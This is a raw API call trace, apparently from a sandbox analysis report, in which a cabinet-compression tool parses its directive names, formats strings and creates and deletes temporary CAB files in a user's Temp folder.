(_Str1="E3D6.bin", _Str2="1.68M") returned 52 [0151.884] atol (_Str="1716224") returned 1716224 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="E3D6.bin", _Str2="DMF168") returned 1 [0151.884] atol (_Str="1716224") returned 1716224 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="E3D6.bin", _Str2="CDROM") returned 2 [0151.884] atol (_Str="681984000") returned 681984000 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="Cabinet", _Str2="CabinetName1") returned -110 [0151.884] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetName1") returned -8 [0151.884] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CabinetName1") returned 67 [0151.884] _strcmpi (_Str1="ChecksumWidth", _Str2="CabinetName1") returned 7 [0151.884] _strcmpi (_Str1="ClusterSize", _Str2="CabinetName1") returned 11 [0151.884] _strcmpi (_Str1="Compress", _Str2="CabinetName1") returned 14 [0151.884] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CabinetName1") returned 14 [0151.884] _strcmpi (_Str1="CompressionType", _Str2="CabinetName1") returned 14 [0151.884] _strcmpi (_Str1="CompressionLevel", _Str2="CabinetName1") returned 14 [0151.884] _strcmpi (_Str1="CompressionMemory", _Str2="CabinetName1") returned 14 [0151.884] _strcmpi (_Str1="DestinationDir", _Str2="CabinetName1") returned 1 [0151.884] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="CabinetName1") returned 1 [0151.884] _strcmpi (_Str1="DiskLabelTemplate", _Str2="CabinetName1") returned 1 [0151.884] _strcmpi (_Str1="DoNotCopyFiles", _Str2="CabinetName1") returned 1 [0151.884] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="CabinetName1") returned 3 [0151.884] _strcmpi (_Str1="FolderSizeThreshold", _Str2="CabinetName1") returned 3 [0151.884] _strcmpi (_Str1="GenerateInf", _Str2="CabinetName1") returned 4 [0151.884] _strcmpi (_Str1="InfCabinetHeader", _Str2="CabinetName1") returned 6 [0151.884] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfCommentString", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfDateFormat", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfDiskHeader", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfDiskLineFormat", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFileHeader", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFileLineFormat", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFileName", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFooter", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFooter1", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFooter2", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFooter3", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfFooter4", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader1", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader2", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader3", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader4", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader5", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfHeader6", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="InfSectionOrder", _Str2="CabinetName1") returned 6 [0151.885] _strcmpi (_Str1="MaxCabinetSize", _Str2="CabinetName1") returned 10 [0151.885] _strcmpi (_Str1="MaxDiskFileCount", _Str2="CabinetName1") returned 10 [0151.885] _strcmpi (_Str1="MaxDiskSize", _Str2="CabinetName1") returned 10 [0151.885] _strcmpi (_Str1="MaxErrors", _Str2="CabinetName1") returned 10 [0151.885] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="CabinetName1") returned 15 [0151.885] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="CabinetName1") returned 15 [0151.885] _strcmpi (_Str1="ReservePerFolderSize", _Str2="CabinetName1") returned 15 [0151.885] _strcmpi (_Str1="RptFileName", _Str2="CabinetName1") returned 15 [0151.885] _strcmpi (_Str1="SourceDir", _Str2="CabinetName1") returned 16 [0151.885] _strcmpi (_Str1="UniqueFiles", _Str2="CabinetName1") returned 18 [0151.885] _strcmpi (_Str1="DiskDirectory1", _Str2="CabinetName1") returned 1 [0151.885] _vsnprintf (in: _DstBuf=0xde440, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde398 | out: _DstBuf="CabinetName1") returned 12 [0151.885] _vsnprintf (in: _DstBuf=0xde1d0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde128 | out: _DstBuf="CabinetName1") returned 12 [0151.885] free (_Block=0x2b7220) [0151.886] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize") returned -10 [0151.886] _strcmpi (_Str1="CabinetName1", _Str2="GenerateInf") returned -4 [0151.886] strpbrk (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"", _Control=" \x09") returned 0x0 [0151.886] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"", _Control=" \x09") returned 0x0 [0151.886] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"", _Control=" \x09") returned 0x0 [0151.886] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0151.886] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0151.886] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0151.886] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0151.886] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0151.886] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0151.886] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0151.886] _strcmpi (_Str1="GenerateInf", _Str2="GenerateInf") returned 0 [0151.886] atoi (_Str="1") returned 1 [0151.886] _strcmpi (_Str1="Cabinet", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="CabinetNameTemplate", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="ChecksumWidth", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="ClusterSize", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="Compress", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="CompressionType", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="CompressionLevel", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="CompressionMemory", _Str2="SourceDir") returned -16 [0151.886] _strcmpi (_Str1="DestinationDir", _Str2="SourceDir") returned -15 [0151.886] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="SourceDir") returned -15 [0151.886] _strcmpi (_Str1="DiskLabelTemplate", _Str2="SourceDir") returned -15 [0151.886] _strcmpi (_Str1="DoNotCopyFiles", _Str2="SourceDir") returned -15 [0151.886] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="SourceDir") returned -13 [0151.886] _strcmpi (_Str1="FolderSizeThreshold", _Str2="SourceDir") returned -13 [0151.886] _strcmpi (_Str1="GenerateInf", _Str2="SourceDir") returned -12 [0151.887] _strcmpi (_Str1="InfCabinetHeader", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfCommentString", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfDateFormat", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfDiskHeader", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfDiskLineFormat", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFileHeader", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFileLineFormat", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFileName", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFooter", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFooter1", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFooter2", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFooter3", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfFooter4", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader1", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader2", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader3", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader4", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader5", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfHeader6", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="InfSectionOrder", _Str2="SourceDir") returned -10 [0151.887] _strcmpi (_Str1="MaxCabinetSize", _Str2="SourceDir") returned -6 [0151.887] _strcmpi (_Str1="MaxDiskFileCount", _Str2="SourceDir") returned -6 [0151.887] _strcmpi (_Str1="MaxDiskSize", _Str2="SourceDir") returned -6 [0151.887] _strcmpi (_Str1="MaxErrors", _Str2="SourceDir") returned -6 [0151.887] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="SourceDir") returned -1 [0151.887] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="SourceDir") returned -1 [0151.887] _strcmpi (_Str1="ReservePerFolderSize", _Str2="SourceDir") returned -1 [0151.887] _strcmpi (_Str1="RptFileName", _Str2="SourceDir") returned -1 [0151.887] _strcmpi (_Str1="SourceDir", _Str2="SourceDir") returned 0 [0151.887] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0151.887] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0151.888] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0151.888] _strcmpi (_Str1="DestinationDir", _Str2="DestinationDir") returned 0 [0151.888] _vsnprintf (in: _DstBuf=0xde470, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde3c8 | out: _DstBuf=" 0.00") returned 6 [0151.889] _vsnprintf (in: _DstBuf=0xde478, _MaxCount=0x1f7, _Format="%s", _ArgList=0xde3c8 | out: _DstBuf="1D0E.bin") returned 8 [0151.889] _vsnprintf (in: _DstBuf=0xde482, _MaxCount=0x1ed, _Format="%ld", _ArgList=0xde3c8 | out: _DstBuf="1") returned 1 [0151.889] strspn (_Str="1", _Control=" ") returned 0x0 [0151.889] strpbrk (_Str="1", _Control=" ") returned 0x0 [0151.889] _vsnprintf (in: _DstBuf=0xde485, _MaxCount=0x1ea, _Format="%ld", _ArgList=0xde3c8 | out: _DstBuf="1") returned 1 [0151.889] strspn (_Str="1", _Control=" ") returned 0x0 [0151.889] strpbrk (_Str="1", _Control=" ") returned 0x0 [0151.889] printf (_Format="%s%s\r") returned 28 [0151.898] _strcmpi (_Str1="Cabinet", _Str2="Compress") returned -14 [0151.898] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Compress") returned -14 [0151.898] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Compress") returned -14 [0151.898] _strcmpi (_Str1="ChecksumWidth", _Str2="Compress") returned -7 [0151.898] _strcmpi (_Str1="ClusterSize", _Str2="Compress") returned -3 [0151.898] _strcmpi (_Str1="Compress", _Str2="Compress") returned 0 [0151.898] atoi (_Str="1") returned 1 [0151.898] _strcmpi (_Str1="Cabinet", _Str2="CompressionType") returned -14 [0151.898] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionType") returned -14 [0151.898] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionType") returned -14 [0151.899] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionType") returned -7 [0151.899] _strcmpi (_Str1="ClusterSize", _Str2="CompressionType") returned -3 [0151.899] _strcmpi (_Str1="Compress", _Str2="CompressionType") returned -105 [0151.899] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionType") returned -4 [0151.899] _strcmpi (_Str1="CompressionType", _Str2="CompressionType") returned 0 [0151.899] _strcmpi (_Str1="MSZIP", _Str2="MSZIP") returned 0 [0151.899] _strcmpi (_Str1="Cabinet", _Str2="Cabinet") returned 0 [0151.899] atoi (_Str="1") returned 1 [0151.899] _strcmpi (_Str1="Cabinet", _Str2="ClusterSize") returned -11 [0151.899] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ClusterSize") returned -11 [0151.899] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ClusterSize") returned -11 [0151.899] _strcmpi (_Str1="ChecksumWidth", _Str2="ClusterSize") returned -4 [0151.899] _strcmpi (_Str1="ClusterSize", _Str2="ClusterSize") returned 0 [0151.899] atol (_Str="512") returned 512 [0151.899] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="Compress", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskFileCount") returned -10 [0151.899] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskFileCount") returned -9 [0151.899] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskFileCount") returned -9 [0151.899] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskFileCount") returned -9 [0151.899] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskFileCount") returned -9 [0151.899] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskFileCount") returned -7 [0151.899] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskFileCount") returned -7 [0151.899] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskFileCount") returned -6 [0151.899] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskFileCount") returned -4 [0151.899] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskFileCount") returned -4 [0151.900] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskFileCount") returned -1 [0151.900] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskFileCount") returned 0 [0151.900] atol (_Str="224") returned 224 [0151.900] _vsnprintf (in: _DstBuf=0x2b610c, _MaxCount=0x7ff, _Format="MaxDiskSize%d", _ArgList=0xde188 | out: _DstBuf="MaxDiskSize1") returned 12 [0151.900] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize1") returned -10 [0151.900] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize1") returned -9 [0151.900] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize1") returned -9 [0151.900] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize1") returned -9 [0151.900] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize1") returned -9 [0151.900] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize1") returned -7 [0151.900] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize1") returned -7 [0151.900] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize1") returned -6 [0151.900] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize1") returned -4 [0151.900] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize1") returned -4 [0151.900] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize1") returned -4 [0151.900] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize1") returned -4 [0151.900] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize1") returned -4 [0151.900] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize1") returned -4 [0151.900] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize1") returned -4 [0151.901] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize1") returned -1 [0151.901] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize1") returned -13 [0151.901] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize1") returned -49 [0151.901] _strcmpi (_Str1="MaxErrors", _Str2="MaxDiskSize1") returned 1 [0151.901] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="MaxDiskSize1") returned 5 [0151.901] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="MaxDiskSize1") returned 5 [0151.901] _strcmpi (_Str1="ReservePerFolderSize", _Str2="MaxDiskSize1") returned 5 [0151.901] _strcmpi (_Str1="RptFileName", _Str2="MaxDiskSize1") returned 5 [0151.901] _strcmpi (_Str1="SourceDir", _Str2="MaxDiskSize1") returned 6 [0151.901] _strcmpi (_Str1="UniqueFiles", _Str2="MaxDiskSize1") returned 8 [0151.901] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize1") returned -9 [0151.901] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize1") returned -10 [0151.901] _vsnprintf (in: _DstBuf=0xddfe0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddf38 | out: _DstBuf="MaxDiskSize1") returned 12 [0151.901] _vsnprintf (in: _DstBuf=0x2b610c, _MaxCount=0x7ff, _Format="DiskDirectory%d", _ArgList=0xde188 | out: _DstBuf="DiskDirectory1") returned 14 [0151.901] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="Compress", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectory1") returned -1 [0151.901] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectory1") returned -1 [0151.902] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectory1") returned -1 [0151.902] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectory1") returned -4 [0151.902] _mkdir (_Path="C:\\") returned -1 [0151.902] _mkdir (_Path="C:\\Users") returned -1 [0151.902] _mkdir (_Path="C:\\Users\\aETAdzjz") returned -1 [0151.902] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData") returned -1 [0151.903] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local") returned -1 [0151.903] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned -1 [0151.903] GetCurrentProcessId () returned 0x850 [0151.903] _vsnprintf (in: _DstBuf=0xde1f5, _MaxCount=0xda, _Format="CAB%5.5d.TMP", _ArgList=0xde1b8 | out: _DstBuf="CAB02128.TMP") returned 12 [0151.903] _open (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\CAB02128.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab02128.tmp"), _OpenFlag=1282) returned 7 [0151.903] _close (_FileHandle=7) returned 0 [0151.903] _unlink (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\CAB02128.TMP") returned 0 [0151.904] _vsnprintf (in: _DstBuf=0x2b610c, _MaxCount=0x7ff, _Format="DiskLabel%d", _ArgList=0xde188 | out: _DstBuf="DiskLabel1") returned 10 [0151.904] _vsnprintf (in: _DstBuf=0xddfe0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddf38 | out: _DstBuf="DiskLabel1") returned 10 [0151.904] _vsnprintf (in: _DstBuf=0x2b695c, _MaxCount=0xff, _Format="Disk %d", _ArgList=0xde188 | out: _DstBuf="Disk 1") returned 6 [0151.904] _vsnprintf (in: _DstBuf=0xde250, _MaxCount=0x1f, _Format="InfDiskLineFormat%d", _ArgList=0xdde98 | out: _DstBuf="InfDiskLineFormat1") returned 18 [0151.904] _vsnprintf (in: _DstBuf=0xddcf0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddc48 | out: _DstBuf="InfDiskLineFormat1") returned 18 [0151.904] _vsnprintf (in: _DstBuf=0xddb80, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddad8 | out: _DstBuf="Infdisk#") returned 8 [0151.904] _vsnprintf (in: _DstBuf=0x2bbe58, _MaxCount=0x1ff, _Format="%d", _ArgList=0xde108 | out: _DstBuf="1") returned 1 [0151.904] _vsnprintf (in: _DstBuf=0xddb80, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddad8 | out: _DstBuf="Inflabel") returned 8 [0151.904] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 9 [0151.904] _vsnprintf (in: _DstBuf=0x2b610c, _MaxCount=0x7ff, _Format="CabinetName%d", _ArgList=0xde1f8 | out: _DstBuf="CabinetName1") returned 12 [0151.904] _strcmpi (_Str1="Cabinet", _Str2="CabinetName1") returned -110 [0151.904] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetName1") returned -8 [0151.904] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CabinetName1") returned 67 [0151.904] _strcmpi (_Str1="ChecksumWidth", _Str2="CabinetName1") returned 7 [0151.904] _strcmpi (_Str1="ClusterSize", _Str2="CabinetName1") returned 11 [0151.904] _strcmpi (_Str1="Compress", _Str2="CabinetName1") returned 14 [0151.904] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CabinetName1") returned 14 [0151.904] _strcmpi (_Str1="CompressionType", _Str2="CabinetName1") returned 14 [0151.904] _strcmpi (_Str1="CompressionLevel", _Str2="CabinetName1") returned 14 [0151.904] _strcmpi (_Str1="CompressionMemory", _Str2="CabinetName1") returned 14 [0151.904] _strcmpi (_Str1="DestinationDir", _Str2="CabinetName1") returned 1 [0151.971] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="CabinetName1") returned 1 [0151.971] _strcmpi (_Str1="DiskLabelTemplate", _Str2="CabinetName1") returned 1 [0151.971] _strcmpi (_Str1="DoNotCopyFiles", _Str2="CabinetName1") returned 1 [0151.971] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="CabinetName1") returned 3 [0151.971] _strcmpi (_Str1="FolderSizeThreshold", _Str2="CabinetName1") returned 3 [0151.971] _strcmpi (_Str1="GenerateInf", _Str2="CabinetName1") returned 4 [0151.971] _strcmpi (_Str1="InfCabinetHeader", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="CabinetName1") returned 6 [0151.972] 